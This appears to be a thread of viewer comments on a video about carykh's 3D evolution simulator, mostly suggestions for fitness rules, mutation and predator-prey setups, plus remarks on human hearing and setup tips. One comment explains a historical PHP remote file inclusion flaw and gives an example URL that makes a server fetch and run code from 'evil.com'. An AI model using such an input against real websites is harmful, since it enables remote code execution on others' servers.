User clicks two buttons. Scientists in creature universe, two hundred million years later: "... My God ... What happened here in the fossil record ...?"
User in creature universe finding faster ways to get food and eventually make a simulation to do that for them. Gamers in creature creature universe:"now that's what I call a victory royale"
Scientist 1: Ah yes, the S45 era. A beautiful creature with extreme diversity. Scientist 2: We made a groundbreaking discovery, sir! We've recreated a chomp!
Problems with stagnant species? I think it's time you built in an 'irradiate' button into the console to give your creatures a one time smash to the mutability.
I just realized that by 53 minutes in, they use a head like think to eat, some walk with two front legs (which are sometimes used to eat) and two back legs, and have a tail like structure in the back. CARYKH HAS CREATED LIFE THAT MANAGED TO SURVIVE ON EARTH!
Dear Cary, this is where the form of your ears comes in. The reason your ears aren't just plain holes, but weird shaped things that stick out, is because your brain has an algorithm that uses the bouncing of the sound from the different spots on your ear, to deduce where it comes from. That is why Humans CAN differenciate a sound in front of us, versus a sound from behind !
Carl Jontza yea thats why it does sound the same/not differentiable thru headphones unless the audio was from a mic that was in some sort of contraption like those asmr mics
There's also an interesting thing called the Haas effect. Our brain evaluates the delay between the times it hit one or another ear. Also the timing of reflections from surfaces is evaluated. What Cary mentioned is very important too. Our hearing is very complex and interesting. :-)
Laurynas Milinis Haas effect is more to do with two sound events happening close together. What you’re describing is Interaural Timing Difference. A sound wave hitting our head from the right will reach the right ear just before the left. Our brain compares the input from both ears and establishes that it was one wave and it must be from the right because it hit that ear first. There’s also interaural level difference (the far ear hears it more quietly) and interaural frequency difference (due to ear shape and head-shadowing).
Would be cool to see a "hunger" mechanic which allows creatures that successfully eat pellets to live longer (ie start with 10 seconds and gain a second each pellet) and use lifetime as the messure of fitness. This paired with more volatile pellets could produce some seriously interesting intelligence.
Nah but the problem is, that you may get really high long living creatures, what dramatically increases calculating time and finally, when a creature reaches ‚perfection‘, it will have an infinite life...
True, but you could also counter that with a decreasing gain of time for each newly consumed pellet. So you have to be really quick to get a long live. Also it wouldn't be infinite then.
One thing that could be interesting is 2 creatures in a same simulation and have one try to catch another and separate things into 2 groups at the start so you have the predator group and the prey group, this way in theory the evolution will never stop since it's active competition instead of passive competition
TropicalPanther Gaming Its because it's body is more suited to going forwards, not sideways. In later generations the body is better designed to allow it to pivot around the tail, but you don't see this in the beginning because it didn't need it in the beginning. When it suddenly met this obstacle of turning, it tried to strain but had no ability to change because the muscles didn't operate that way
Having tried tons of neural networks and AI learning software, this is a common issue. VERY much so in Learnfun/Playfun. Though LFPF does not use neural networks, it takes input learning from replays to play NES games. To make it work optimally, it's best to edit out pause-presses from the learning replay files which does not interfere with the gameplay (like pressing start to start the game, but only let there be minimum time of input registered). Or else it will keep pausing the game when it sees it is losing, even though it's not a complete game over.
Cary, thanks for making this video. Today I am horribly sick and have to stay in bed, but once I saw your video In my sub feed, I felt way better. I felt even better after learning it was over an hour. Cary, thank you.
I personally think you should have a button that adds in 100 new randomly generated creatures, just like in the beginning, to help diversify them and push them towards less stagnant shapes.
I think the problem would be that they would all get the same scores the very first ones did. they would end up filtering back out of the gene pool. Perhaps increase the deviation from the previous generation every now and then.
I think an "Irradiate X amount" button'd work - suddenly skyrocket the mutation rate of a few randomly-selected creatures for when things begin to stagnate.
50:51 I think the reason it's turning at the last moment, is because you made it aware of its distance to the food, but not which direction it's necessarily in, so it's some how using the sudden spike in the numbers to tell it has missed the food when it's moving, or is about to miss it. And that makes me wonder if it has some accidental method of telling the passage of time to track it's progress toward it's food. Maybe the fluctuations in the number that represents its distance to its food, caused by the scooting of its body, is enough to act as a clock, so long as it's produced in a reliable rate. That way, if a pulse of the clock is high or low enough to trip a threshold, it could tell when it's time to make a change to its steering, or to try reaching out to grab something nearby.
This is honestly in the top most adorable videos on youtube! And that's saying something. But seriously, I absolutely love this so much!! The creatures evolving are soooo cute, and I really think you neeeeeeeeeeeeddd to do more videos on this! Maybe add so they have a random amount of nodes? Or there's an inconsistent population? Or maybe there could sometimes be more than one creature at once in some situations so they have to interact, so there's more than just one variable just like for us humans! With these different conditions I imagine that if you left evolution sim for years then maybe the creatures would create their own working world, or maybe society! (Also you should definitely add a save feature)
For your next version would it not be beneficial (aka could you please try) to have it eliminate the 525 lowest creatures, breed the remaining 475 = 950 total and then generate 50 new random ones to add some new blood to the pool. Also could you make it so their performance time can be edited mid-simulation. Ie: increasing fitness time from 15 to 20 seconds (or add 5 seconds every 1000 generations)
But these would be more mutated, and from the top 50. So they would already be functioning creatures, and if they got lucky, they'd keep the good traits and get something new.
Hello Cary! Long time watcher, first time poster here. You seem to constantly be striving for your creatures to have some sort of complexity or intelligence to them, which I find fascinating. One of the things I was wondering about is if it would be possible to make a predators/prey scenario - so you start with this and build off of it, but at a certain point you can also add in a predator - another machine learning made creature, whose job it is to touch/eat the original. So, the aim of what I suppose could be called the 'herbivore' creature (i.e. the ones in this video) is to eat as many of the still foods as possible, while avoiding the carnivore creatures, who if they touch, they get an automatic score of 0. I think that could make things very interesting to watch and see how the creatures interact with each other, and also perhaps make a better way to avoid stagnating herbivores that stop moving halfway through the time. Thanks! I love your machine learning videos. Highlight of my day.
Or two creatures and the only the one with more chumps can eat the other, so that they could learn a bit of an strategy for like first eating chumps than the other creature... also the eaten creature could give its chumps to the eating creature...
DUN DUN DUN DU-DU DUNDUN DUN. (In a documentary narrator voice) The creature is trying its hardest to reach its food and it's struggling. Oh no, he died after collapsing to the ground from hunger. Just think about what its family will have to do without him! (btw love ya videos :) )
The problem is that you're measuring fitness within a total of 15 seconds every time, I get that this is to prevent the computer from taking a long time to do a generation, but I think I have a better idea. Instead, say that if a creature hasn't gotten a pellet in 5 or 6 seconds, it has stopped, and the simulation will move on. This way, it still encourages speed, but it doesn't cap off the maximum performance. It will also give more leniency to the techniques that try to develop earlier on but that get flushed out for being too slow. (maybe) Two more things: If you have a link between two nodes (in the neural network) that's multiplying the number by more than 2 or less than 0.5, snap it to 2 or 0.5. This will probably save computational power (however small the difference) when it comes to the computer trying to calculate things in the billions. And, maybe have it so that the more nodes a creature has, the less fitness it will get? This could make the creatures try to find the simplest and (probably) most effective strategy. (It could also be another way to make it run through each generation faster)
I like your idea of cutting it off early if nothing happens but given how long it takes to initially get the pellets I think adding 5 seconds everytime it gets a pellet is better because it promotes long term viability rather than initial greatness
Could implement a couple of math functions to move the goals over time. Maybe cutoff after last chomp time is greater than MAX(5,(60-[current generation])), and maybe set the curve to equal something like MAX(0,(0.01*(current generation-500)))?
If you allow unlimited time if a creature keeps collecting pellets, at some point your entire population will be able to collect pellets for minutes or longer. This would take an insane amount of time to compute
yes, I was also surprised that the net could request any muscle tension it wanted, because the math is going to be an order of magnitude slower for the simulation running the network. it should be capped. also, in addition to testing every creature from each gen in it's own simulation, it could test each creature multiple times and take the average or the best for fitness. I feel in 15 seconds a viable mutation could be killed by chance before it flourished.
I think we're REALLY getting into something quite revolutionary. With this creatures we got to see very interesting behaviour being created, where they actually got to start making decisions during the runs . What could be interesting is if you tried to replicate that behaviour you created with your last simulation, but the simulation would this time be ran with with ALL CREATURES ON THE SAME MAP AT THE SAME TIME, and 1000 food pellets are spawned randomly on the map. If they don't eat anything for 15 seconds they die. When only 500 creatures remain they get to replicate. After some time, would they start fighting for food? Would they form groups to increase their odds? This would be a mind blowing and absolutely revolutionary simulation... Also, for better and faster and crazyer results, some suggestions by people in the comments that should be implemented: For your next version would it not be beneficial to have it eliminate the 525 lowest creatures, breed the remaining 475 = 950 total and then generate 50 new random ones to add some new blood to the pool. Increased/changing mutability rates Obstacles maybe? Like things they have to avoid, holes in the groud, slight variations in terrain height, etc... 5,000 generations isn't that long in evolutionary terms. Have you got an old PC you can leave this running on 24/7 for a few days or Weeks?
There are 2D neural network simulations that do what you say. He's greatly increasing complexity by introducing 3d physics and disqualifying anything that doesn't stand upright. i do imagine he'll be able to simulate population dynamics if he keeps making progress.
You should make it so that each generation is converted to a string and save that to the hard drive. All the generations are saved in one folder for each simulation. This would give you the following advantages: you could pause a simulation and shut down the simulator, you would reduce RAM usage and you could view every generation you desire inside a "viewer" that would be more light weight. Oh and you (and everybody else) could share your (their) results.
It would be great if you could save the best creature each time and load em. Like make a load creatures option in the beginning and a battle between the best creatures.
But then he would have to go through like a million simulations before anything would happen, since most of the creatures would just die without getting a score, and therefore he would have to rely on a creature randomly evolving walking and steering at the same time.
He should (re) add a mutation of the body. Right now a lucky development in the brain of a creature with a inefficient body structure can lead them to completely take over. So statistically you will most of the times end up with inefficient body’s since it is pure luck which body type first has a major breakthrough in the brain. In real live brain and body have evolved together.
@@Brot1984 I don't fully understand what you mean. The creatures body could still develop without changing their brain, or it could change both brain and body at the same time, just as you want it to. I agree that some inefficient creatures could take over since they simply had more time to adapt than other creatures that could've wound up being better in the end, but I don't know how he would prevent that
This is awesome! I can't believe you made nodes and muscles actually have survival instinct like turning torward food! I find it amazing that they know where the food is, and pause and throw themselves at it! That's totally awesome! Almost like it has a mind of it's own... 😱
I'm guessing because it evolved with no symmetry, as there was no real reason to begin with only the ones that had food to the left did well. Which would also explain the huge number that just died. I think just by the evidence of living creatures on earth, symmetry is extremely important.
These days code injection is pretty rare but back in the day there was quite a bit of eval() trickery going on in some script languages to make complex concepts like templating work quick enough for big websites. I can't recall any specific exploit but I'm pretty sure there were instances were this could be abused. A common code injection exploit had to do with the naive approach to dynamic web sites that many old PHP tutorials taught and the register_globals "feature" of PHP. www.example.com?page=contact would load the contact page but www.example.com?page=evil.com/myexploit would load a file called myexploit.php from another server and execute its contents on the example.com webserver.
Maybe adding an element of getting killed would shake things up. For example, getting a score of 0 chomps results in an immediate kill in addition to the 500 mandatory deaths.
A few ideas: 1. Change the simulation into a measure of survivability in an environment with increasing difficulty. Basically, the possible distance, angle, and height of food would increase every time a creature got a "chomp", and fitness would be measured in terms of time survived rather than the number of pellets eaten. Creatures would "die" in the usual way where they collapse, but they would also die if they could not reach the next pellet within a given time-frame. You could then gradually decrease the time needed between "meals" every 100th generation, counteracting the effects of needing more time to process more healthy generations. 2. Start with a high curve. Your goal is to get a creature which can quickly navigate to random sets of locations in its environment, and starting with little or no curve right off the bat eliminates body and brain structures capable of moving in multiple directions. You say you hate projectile creatures, but I think it would be interesting to see a creature develop as a projectile capable of aiming in all 360 degrees from its start location. 3. Introduce more variance to the height of pellets. If a creature figures out how to get high pellets it will have a significant advantage over its competition. You could also put pellets as low as the ground if you create a special "mouth" node each creature gets only one of, so it can't just "eat" with its feet. 4. Keep different branches of creatures alive. You want to have diversity among your creatures, but your killing/reproduction algorithm makes it nearly impossible for different "species" of creatures to coexist. From the beginning you should put the creatures into groups (say for now, 10 groups of 100), and prevent the best creature within those starting groups from being eliminated by the killing algorithm. Children would be assigned to the same group as their parents. The size of the groups will change, of course, but as long as you kill 500 off every time you will always have 1000 creatures per generation. What's important is that the simulation will be given the chance to keep trying to discover new strategies in the background without going extinct in the process. 5. You should do a simulation that involves direct competition between two random creatures at a time. It could be a battle, a race, or even soccer. You could also do one where the goal is to collect the most "chomps" out of a limited starting supply. Not only would this make the competition more real, but it would also be the bane of uniformity near the end of the simulation, since populations with similar characteristics tend to have similar weaknesses. Love the Evolution Simulator series! Keep up the good work!
The creatures seem to have a harder time turning left than right Right - uses one of the lighter nodes in front to actually turn around Left - just leans its top node as far as possible, and quite often dies --- I'd say you should encourage diversity/mutability more. The stagnation, obviously, wouldn't be such a problem if you had, say, 4 competing species instead of 1. This way the strategies that dominate early on but are not necessarily the best later win out, and many evolutionary paths are left unexplored - the most egregious case of this was in the 2D simulator, with vibrating triangles vs. wheels/barrows that you tried to get them to develop.
He doesn’t have control of the situation. If all the species die out except one, it doesn’t change until one gets some mutation that does better than the current species.
I think that we saw more left turns than right turns is because the creatures are better at turning to the left, which means that the creature that performed better had luck and most of the food was on the left. Does that make sense?
Hey carykh, I loved the decisions you made for this last evolution simulator: the way to define your fitness parameter, the subtle and amusing way to represent your Patreon supporters as well as the way to show this competition graphically. The gradually increasing scores really seem to help your networks to evolve and improve. I had two ideas: 1) why limit the time for every model to 15 seconds? Would it be possible (and useful) to extend a model's life for a certain number of additional seconds per successful chomp? As in real evolution, creatures who successfully take care of themselves get to live longer. 2) Would it be possible (and useful) in that case to let the reproduction also be influenced by this extended life/success: each creature gets one basic reproduction and for each number of seconds in its life, a creature gets an additional reproduction (chance). Again, creatures who survive longer/successfully get more opportunities to have offspring: a model that successfully manages to survive to the ripe age of 28 chomps *should* have plenty of offspring :) Also, given that you have unlimited CPU time and personal time (right?), the obvious next step is running this simulation ten times and have an Armageddon evolution series with ten times the best 10% creatures of the 10 previous simulations. Even better: have them all be simulated simultaneously where they compete for the same chomps apparitions in a common space. Let the strife for survival begin! :)
Not all movies are feature-length. That would make short films, not films. This counts rather as a long documentary-eske movie than an actual feature-length movie, that is correct.
Caryhk, i have a pretty good idea. Can you make an evolution where you make them learn to walk up and down hills. Or climb obstacles? I think this is a big challange to program but it would be a cool project.
You can absolutely hear if a sound is behind you or ahead of you, the shape of the ear distorts the sound differently depending on which direction the sound is coming from, and as babies we learn to decipher that EQ change. A neat little trick of evolution.
awe, I wanted to see you set it to 360* variation at the end. and I agree you need a 'DNA' saver, then add different 'elite' species in a new simulation and see what happens!
This is the best kind of "try not to be satisfied challenge" i've ever seen. When i saw those creatures actually learning how to steer and remembered how dummy they were before,i dont know why but i started to smile.
in fact humans can determine if the sound is coming from above or even behind. Our brain is using the shape of our ears to bounce the sound into our years and separate different frequencies to determine that information. i recommend watching smarter everyday's video on that. And btw our ears can not determine distance only direction, but this simulation only detects distance :)
Echolocation works because bats speak the language of the cavewalls and they shout "Yo where do I turn" and the walls respond very efficiently. It's a symbiotic relationship as that way the walls can survive without being eroded by bat-crashing
They always flatline and I think it's the time limit. If there was some way to increase the time, or for the creatures to earn more time, I feel like you could get some very good/high performing creatures.
Maybe you can try where there is a time limit of say 9 seconds, and each node adds 3 secs until the ultimate limit is 30 seconds and the extra points gained are multiplied by the average of time between nodes getting 'chomped'. Then the creatures are measured by how much time they get plus extra points.that.have been multiplied by the average. This would help speed and maybe not hinder consistency.
I don't know why these videos are so entertaining but they really are. I didn't even realize how long i've been watching this video until nearly 45 minutes in. felt like 10
There is some helpful information after the 'Read More'. For those who don't know/who are asking, you can download the files from his github in the description. It is run through Processing 2. Currently the Processing site only has Processing 3, but you can download Processing 2 through their github (github.com/processing/processing/releases). You will need to rename the folder that contains all of carykh's files from evolutionSteer-master to evolutionSteer. Once you have launched Processing, go to File > Open and navigate to the evolutionSteer folder, and open evolutionSteer.pde . Once you have completed that, simply press the play button in the top left corner. The program seems to run fine for me, but the textures are rather fucked up. I'm going to try different versions to see what works. EDIT: Processing-2.2.1-windows64 seems to work. EDIT 2: And for those of you where the window doesn't fit on your screen, in the first line of evolutionSteer, change the windowSizeMultiplier (less makes it smaller).
In the case of human hearing, it is a little better than what you described because a single ear has up-down sense. Which means that even with 1 ear you get a rough estimate of whether the source of the sound is up or down. This is what that "crazy" shape of the ear is for.
you should make a network that tries to build the most effecient tower, you can do this by making the fitness function (highest point reached by any node)/(#of nodes in the organism) and add a stipulation of atleast one node must touch the ground at all times ( a jumping organism would get a fitness of 0) you would also need to add a fitness stipulation that ensures the tower is stable so make the test end early if the highest nodes stays realtivley in the same y coordinate( like a .1 tolereance for shifting y levels) for 4 seconds, if it fails to be stable by the end of the trial its fitness is 0 i would be very interested in seeing a video about this and what the network would create hi bye -Dividing by the number of nodes in the organism would make small creatures. When you have a larger tower, you need a larger base to be stable. response- it would ensure that the organism is using its nodes efficiently, a organism that mutates a base will logically be able to reach higher but possibly not by a magnitude of 100% efficiency increase per node so i guess instead of trying to ensure efficiency for a possible endless amount of nodes just have a maximum set of allowed nodes and and the most efficient will arise so that fitness is (the highest point reached by any node) and a maximum node count should be in place to discourage a blob monster tactic that just stacks a bunch of nodes.
it would ensure that the organism is using its nodes efficiently, a organism that mutates a base will logically be able to reach higher but possibly not by a magnitude of 100% efficiency increase per node so i guess instead of trying to ensure efficiency for a possible endless amount of nodes just have a maximum set of allowed nodes and and the most efficient will arise so that fitness is (highest point reached by any node) we should set a maximum node count to discourage a blob monster tactic that just stacks a bunch of nodes
@Aaron Fang Shenhao if you take a look at the source code you can see that the creatures already have "eyes" they know the position of their nodes and the position of the food orbs
What about setting the possible angle to 360 degrees from the very beginning of the simulation, so that the creatures learn to move in every direction from the beginning instead of learning to curve later on when there's only one dominant type that is specifically made to walk straight left?
It should be a sum of the average height of their nodes at the moment they get a chomp: S = h1+h2+h3+... That would select for more acrobatic and/or coordinated creatures.
Sup, just subscribed. I believe your problem with the projectiles and such is possibly due to a low variation of what muscles are scripted to do: basically, the only motion they can do is contract and extend. If you could add twisting and changing the angle between muscles it might add more diversity and the network might find easier and more elegant ways of locomotion. Guess I'll get to modding this once I'm done with my exams, though I'll have to get into processing first.
Hey, I know that coding is hard. And I get that this would take a really long time, but could you consider doing something of the following: Make a simulator where there is a terrain based map that a number of creatures start off in. Each strive to eat each other for food, and over generations they can evolve sharper teeth, longer legs, stronger legs, improved eyesight, new limbs etc... and they have to overcome different terrain. So basicly the creatures look like actual creatures and behave how carnivores would on our earth. Please think about doing something like this, (if so, releasing it to the public also) cause it would be so epic. Thanks for reading.
Hello, I think your simulation is amazing and I wish you keep improving it in the future. Two suggestions I wanted to make: 1. You should kill 500 creatures after a generation and then on top of that kill by default every creature that has gotten 0 chomps (coz they starved). That way, you could increase the median more quickly. 2. In your video you were complaining about the creatures lack of speed, so later you could perhaps include a chomps-per-second score so that the creatures will be forced to be accurate and fast. Overall, amazing work. I'm hoping to see more videos from evolution sim 😄
Few things I noticed: having muscles that actually collide and can't fall into eachother would promote 3D creatures at the start and less sprawling out for the first pellet. This would allow for much different shapes to have a chance. When they stand up and stop, it's because they actually roll over and a different node is on top, so it doesn't know how to handle that, and that's only if they were going right, if they try to go too far left they collapse.
I dont think its just a toy. Its about basic research. But it could get some toy. I think with this, some iterations and a good designer, there could be created some very futuristic tamagotchi-app. And its philosophic too. Does some God-Creator put the hole universe into live, like your green field as a sandbox, just to watch creatures pop up and reach for food before dying? So please dont stop.
Please, for the sake of your own sanity. Make a function to save/load the current state, so you don't loose everything when you find a bug or something.
46:15 BTW: I believe you've meant trilateration, not triangulation. Triangulation is based on measuring angle,s trilateration is based on measuring distances instead.
I loved this video. The changes in curve alongside the drops in median represented small changes in environment that caused huge drops in population and stuff really well
You should code it so that if a species has 1000 Creatures, after 10 generations it will split into 2 species! EXAMPLE: LoyalPatreon-1 and LoyalPatreon-2
let the last one of its kind live and kill someone else so there is more randomization maybe? And maybe tell them where the food is with a node and they have to manage somehow to learn how to use it and maybe some more severe mutations and maybe all the creatures that eat at least 3 or 5 chums should not get 0 score and maybe increase time anwesome video btw
Very interesting! Maybe after a given distance the creature could start to meet creatures from another "biome", this would add a new specie in the pool that is already evolved(from a parallel simulation), this way you prevent the simulation to only have 1 specie forever
what if you randomly paired sets of two creatures and the first one to have all of its nodes hit the ground would die so they would learn to fight each other.
Should have made the projectiles while adding an extreme curve, that way it would need to leap multiple times to reach each node. Banning the creatures that hit the ground resulted in a poor species that only knows to stay upright while dragging itself instead of the more efficient choice of one node one leap and one chomp. Granted what you got looks more like steering thab the leaps, but they aren't cars with wheels, they aren't supposed to move like that.
He has the Github link in the description, but i might just be too dumb to download it correctly... Processing always gives me an exception with the use of "size()", no matter where in Setup i put it. Maybe thats what he meant with it works better in Processing 2, than 3...
And btw when putting it into "Settings()" i get the message: " [21]: java.util.TimerThread.mainLoop(Timer.java:555) [22]: java.util.TimerThread.run(Timer.java:505)"